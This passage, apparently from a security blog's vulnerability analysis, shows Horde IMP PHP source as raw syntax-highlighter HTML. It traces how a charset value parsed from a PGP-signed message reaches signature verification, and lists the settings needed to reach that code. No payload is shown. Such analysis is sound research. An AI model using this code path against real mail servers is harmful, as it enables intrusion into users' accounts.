<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">imp_pgp<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">verifySignature<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">sig_raw<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">_getSender<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">bare_address<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">sig_part<\/span><span class=\"crayon-o\">&#8211;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37278c827387968-25\"><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-e\">getMetadata<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">Horde_Crypt_Pgp_Parse<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">SIG_CHARSET<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37278c827387968-26\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0049 seconds] -->  <\/p>\n<p>And it is used in <em>_renderInline()<\/em>:<\/p>\n<p>Path &#8211; <em>\/imp\/lib\/Mime\/Viewer\/Pgp.php<\/em><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b37278f588741333\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* 134 *\/ protected function _renderInline()  \/* 135 *\/ {  \/* 136 *\/ $id = $this-&gt;_mimepart-&gt;getMimeId();  \/* 138 *\/ switch ($this-&gt;_mimepart-&gt;getType()) {  \/* &#8230; *\/  \/* 142 *\/ case &#8216;multipart\/signed&#8217;:  \/* 143 *\/ return $this-&gt;_outputPGPSigned();<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37278f588741333-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37278f588741333-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37278f588741333-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37278f588741333-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37278f588741333-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37278f588741333-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37278f588741333-7\">7<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-58eab3b37278f588741333-1\"><span class=\"crayon-c\">\/* 134 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">protected<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">_renderInline<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37278f588741333-2\"><span class=\"crayon-c\">\/* 135 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37278f588741333-3\"><span class=\"crayon-c\">\/* 136 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">id<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">_mimepart<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getMimeId<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37278f588741333-4\"><span class=\"crayon-c\">\/* 138 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">switch<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">_mimepart<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getType<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37278f588741333-5\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37278f588741333-6\"><span class=\"crayon-c\">\/* 142 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">case<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;multipart\/signed&#8217;<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37278f588741333-7\"><span class=\"crayon-c\">\/* 143 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">_outputPGPSigned<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0016 seconds] -->  <\/p>\n<p>Let\u2019s go back to <em>_outputPGPSigned()<\/em> method. We can see a few requirements before the needed call:<\/p>\n<ul>\n<li><em>$conf[&#8216;gnupg&#8217;][&#8216;path&#8217;]<\/em> should be not empty. This value can be edited only by admin(if he\/she wants to allow users to use <em>GPG feature<\/em> he\/she needs to define value for this config).<\/li>\n<li>Current user has enabled \u201c<em>use_pgp<\/em>\u201d feature in his preferences<\/li>\n<li>Current user has enabled \u201c<em>pgp_verify<\/em>\u201d feature in his preferences<\/li>\n<li>Current user has enabled \u201cpgp_verify\u201d feature in his preferences<\/li>\n<\/ul>\n<p>Also we see that our charset value is taken from <em>$sig_part<\/em> -&gt; <em>getMetadata(Horde_Crypt_Pgp_Parse::SIG_CHARSET)<\/em><\/p>\n<p>Our value will be stored during parsing of PGP parts:<\/p>\n<p>Path &#8211; <em> \/Horde\/Crypt\/Pgp\/Parse.php<\/em><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b372792571053090\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* 150 *\/ public function parseToPart($text, $charset = &#8216;UTF-8&#8217;)  \/* 151 *\/ {  \/* 152 *\/ $parts = $this-&gt;parse($text);  \/* &#8230; *\/  \/* 162 *\/ while (list(,$val) = each($parts)) {  \/* 163 *\/ switch ($val[&#8216;type&#8217;]) {  \/* &#8230; *\/  \/* 200 *\/ case self::ARMOR_SIGNED_MESSAGE:  \/* 201 *\/ if ((list(,$sig) = each($parts)) &amp;&amp;  \/* 202 *\/ ($sig[&#8216;type&#8217;] == self::ARMOR_SIGNATURE)) {  \/* 203 *\/ $part = new Horde_Mime_Part();  \/* 204 *\/ $part-&gt;setType(&#8216;multipart\/signed&#8217;);  \/* 205 *\/ \/\/ TODO: add micalg parameter  \/* 206 *\/ $part-&gt;setContentTypeParameter(&#8216;protocol&#8217;, &#8216;application\/pgp-signature&#8217;);  \/* 207 *\/  \/* 208 *\/ $part1 = new Horde_Mime_Part();  \/* 209 *\/ $part1-&gt;setType(&#8216;text\/plain&#8217;);  \/* 210 *\/ $part1-&gt;setCharset($charset);  \/* 211 *\/  \/* 212 *\/ $part1_data = implode(&#8220;n&#8221;, $val[&#8216;data&#8217;]);  \/* 213 *\/ $part1-&gt;setContents(substr($part1_data, strpos($part1_data, &#8220;nn&#8221;) + 2));  \/* 214 *\/  \/* 215 *\/ $part2 = new Horde_Mime_Part();  \/* 216 *\/  \/* 217 *\/ $part2-&gt;setType(&#8216;application\/pgp-signature&#8217;);  \/* 218 *\/ $part2-&gt;setContents(implode(&#8220;n&#8221;, $sig[&#8216;data&#8217;]));  \/* 219 *\/  \/* 220 *\/ $part2-&gt;setMetadata(self::SIG_CHARSET, $charset);  \/* 221 *\/ $part2-&gt;setMetadata(self::SIG_RAW, implode(&#8220;n&#8221;, $val[&#8216;data&#8217;]) . &#8220;n&#8221; . implode(&#8220;n&#8221;, $sig[&#8216;data&#8217;]));  \/* 222 *\/  \/* 223 *\/ $part-&gt;addPart($part1);  \/* 224 *\/ $part-&gt;addPart($part2);  \/* 225 *\/ $new_part-&gt;addPart($part);  \/* 226 *\/  \/* 227 *\/ next($parts);  \/* 228 *\/ }  \/* 229 *\/ }  \/* 230 *\/ }  \/* 231 *\/  \/* 232 *\/ return $new_part;  \/* 233 *\/ }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372792571053090-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372792571053090-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372792571053090-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372792571053090-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372792571053090-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372792571053090-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372792571053090-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372792571053090-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372792571053090-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372792571053090-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372792571053090-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372792571053090-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372792571053090-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372792571053090-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372792571053090-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372792571053090-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372792571053090-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372792571053090-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372792571053090-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372792571053090-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372792571053090-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372792571053090-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372792571053090-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372792571053090-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372792571053090-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372792571053090-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372792571053090-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372792571053090-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372792571053090-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372792571053090-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372792571053090-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372792571053090-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372792571053090-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372792571053090-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372792571053090-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372792571053090-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372792571053090-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372792571053090-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372792571053090-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372792571053090-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372792571053090-41\">41<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-58eab3b372792571053090-1\"><span class=\"crayon-c\">\/* 150 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">parseToPart<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">text<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">charset<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;UTF-8&#8217;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372792571053090-2\"><span class=\"crayon-c\">\/* 151 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372792571053090-3\"><span class=\"crayon-c\">\/* 152 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">parts<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">parse<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">text<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372792571053090-4\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372792571053090-5\"><span class=\"crayon-c\">\/* 162 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">while<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">list<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">val<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">each<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">parts<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372792571053090-6\"><span class=\"crayon-c\">\/* 163 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">switch<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">val<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;type&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372792571053090-7\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372792571053090-8\"><span class=\"crayon-c\">\/* 200 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">case<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">ARMOR_SIGNED_MESSAGE<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372792571053090-9\"><span class=\"crayon-c\">\/* 201 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">list<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">sig<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">each<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">parts<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372792571053090-10\"><span class=\"crayon-c\">\/* 202 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">sig<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;type&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">ARMOR_SIGNATURE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372792571053090-11\"><span class=\"crayon-c\">\/* 203 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">part<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Horde_Mime_Part<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372792571053090-12\"><span class=\"crayon-c\">\/* 204 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">part<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">setType<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;multipart\/signed&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372792571053090-13\"><span class=\"crayon-c\">\/* 205 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/\/ TODO: add micalg parameter<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372792571053090-14\"><span class=\"crayon-c\">\/* 206 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">part<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">setContentTypeParameter<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;protocol&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;application\/pgp-signature&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372792571053090-15\"><span class=\"crayon-c\">\/* 207 *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372792571053090-16\"><span class=\"crayon-c\">\/* 208 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">part1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Horde_Mime_Part<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372792571053090-17\"><span class=\"crayon-c\">\/* 209 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">part1<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">setType<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;text\/plain&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372792571053090-18\"><span class=\"crayon-c\">\/* 210 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">part1<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">setCharset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">charset<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372792571053090-19\"><span class=\"crayon-c\">\/* 211 *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372792571053090-20\"><span class=\"crayon-c\">\/* 212 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">part1_data<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">implode<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;n&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">val<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;data&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372792571053090-21\"><span class=\"crayon-c\">\/* 213 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">part1<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">setContents<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">substr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">part1_data<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">strpos<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">part1_data<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;nn&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span 